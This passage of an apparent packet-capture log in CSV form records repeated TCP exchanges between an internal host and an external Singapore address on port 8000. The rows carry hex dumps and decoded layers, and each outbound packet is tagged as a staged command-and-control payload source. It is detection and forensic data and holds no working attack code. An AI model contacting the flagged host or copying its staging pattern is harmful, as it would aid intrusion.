\"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35620, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263000, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192262999, 1192263000))]\"\"}}]\"\n2026-07-01 09:11:41.822110,813,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1192263000 Ack=244801123,bc24112907bbbc2411360d0c08004500003db12a400080063ec00a98980bc0a3a789fa651f4047107d580e975e6350182014d42800001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45354, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16064, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263000, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 54312, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:11:41.822135,814,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263021,bc2411360d0cbc24112907bb080045000028a4d0400040068b2fc0a3a7890a98980b1f40fa650e975e6347107d6d5010003f0aeb0000,\".$.6\n..$.)....E..(..@.@../....\n....@.e..^cG.}mP..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42192, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35631, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263021, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:11:42.836498,815,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263020 Ack=244801123,bc24112907bbbc2411360d0c080045000029b12b400080063ed30a98980bc0a3a789fa651f4047107d6c0e975e635010201439d2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45355, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16083, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263020, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14802, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:42.836531,816,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263021,bc2411360d0cbc24112907bb080045000034a4d1400040068b22c0a3a7890a98980b1f40fa650e975e6347107d6d8010003f0af700000101050a47107d6c47107d6d,\".$.6\n..$.)....E..4..@.@..\"\"....\n....@.e..^cG.}m...?\n......\nG.}lG.}m\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42193, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35618, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263020, 1192263021))]\"\"}}]\"\n2026-07-01 09:11:43.852130,817,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263020 Ack=244801123,bc24112907bbbc2411360d0c080045000029b12c400080063ed20a98980bc0a3a789fa651f4047107d6c0e975e635010201439d2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45356, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16082, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263020, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14802, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:43.852166,818,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263021,bc2411360d0cbc24112907bb080045000034a4d2400040068b21c0a3a7890a98980b1f40fa650e975e6347107d6d8010003f0af700000101050a47107d6c47107d6d,\".$.6\n..$.)....E..4..@.@..!....\n....@.e..^cG.}m...?\n......\nG.}lG.}m\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42194, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35617, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263020, 1192263021))]\"\"}}]\"\n2026-07-01 09:11:44.867783,819,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263020 Ack=244801123,bc24112907bbbc2411360d0c080045000029b12d400080063ed10a98980bc0a3a789fa651f4047107d6c0e975e635010201439d2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45357, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16081, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263020, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14802, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:44.867798,820,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263021,bc2411360d0cbc24112907bb080045000034a4d3400040068b20c0a3a7890a98980b1f40fa650e975e6347107d6d8010003f0af700000101050a47107d6c47107d6d,\".$.6\n..$.)....E..4..@.@.. ....\n....@.e..^cG.}m...?\n......\nG.}lG.}m\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42195, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35616, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263020, 1192263021))]\"\"}}]\"\n2026-07-01 09:11:45.883408,821,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263020 Ack=244801123,bc24112907bbbc2411360d0c080045000029b12e400080063ed00a98980bc0a3a789fa651f4047107d6c0e975e635010201439d2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45358, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16080, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263020, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14802, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:45.883423,822,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263021,bc2411360d0cbc24112907bb080045000034a4d4400040068b1fc0a3a7890a98980b1f40fa650e975e6347107d6d8010003f0af700000101050a47107d6c47107d6d,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}m...?\n......\nG.}lG.}m\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42196, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35615, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263020, 1192263021))]\"\"}}]\"\n2026-07-01 09:11:46.899090,823,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263020 Ack=244801123,bc24112907bbbc2411360d0c080045000029b12f400080063ecf0a98980bc0a3a789fa651f4047107d6c0e975e635010201439d2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45359, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16079, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263020, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14802, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:46.899125,824,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263021,bc2411360d0cbc24112907bb080045000034a4d5400040068b1ec0a3a7890a98980b1f40fa650e975e6347107d6d8010003f0af700000101050a47107d6c47107d6d,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}m...?\n......\nG.}lG.}m\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42197, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35614, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263020, 1192263021))]\"\"}}]\"\n2026-07-01 09:11:47.914724,825,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263020 Ack=244801123,bc24112907bbbc2411360d0c080045000029b130400080063ece0a98980bc0a3a789fa651f4047107d6c0e975e635010201439d2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45360, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16078, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263020, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14802, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:47.914753,826,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263021,bc2411360d0cbc24112907bb080045000034a4d6400040068b1dc0a3a7890a98980b1f40fa650e975e6347107d6d8010003f0af700000101050a47107d6c47107d6d,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}m...?\n......\nG.}lG.}m\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42198, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35613, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263020, 1192263021))]\"\"}}]\"\n2026-07-01 09:11:48.930360,827,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263020 Ack=244801123,bc24112907bbbc2411360d0c080045000029b131400080063ecd0a98980bc0a3a789fa651f4047107d6c0e975e635010201439d2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45361, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16077, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263020, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14802, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:48.930386,828,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263021,bc2411360d0cbc24112907bb080045000034a4d7400040068b1cc0a3a7890a98980b1f40fa650e975e6347107d6d8010003f0af700000101050a47107d6c47107d6d,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}m...?\n......\nG.}lG.}m\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42199, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35612, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263020, 1192263021))]\"\"}}]\"\n2026-07-01 09:11:49.946041,829,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263020 Ack=244801123,bc24112907bbbc2411360d0c080045000029b132400080063ecc0a98980bc0a3a789fa651f4047107d6c0e975e635010201439d2000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 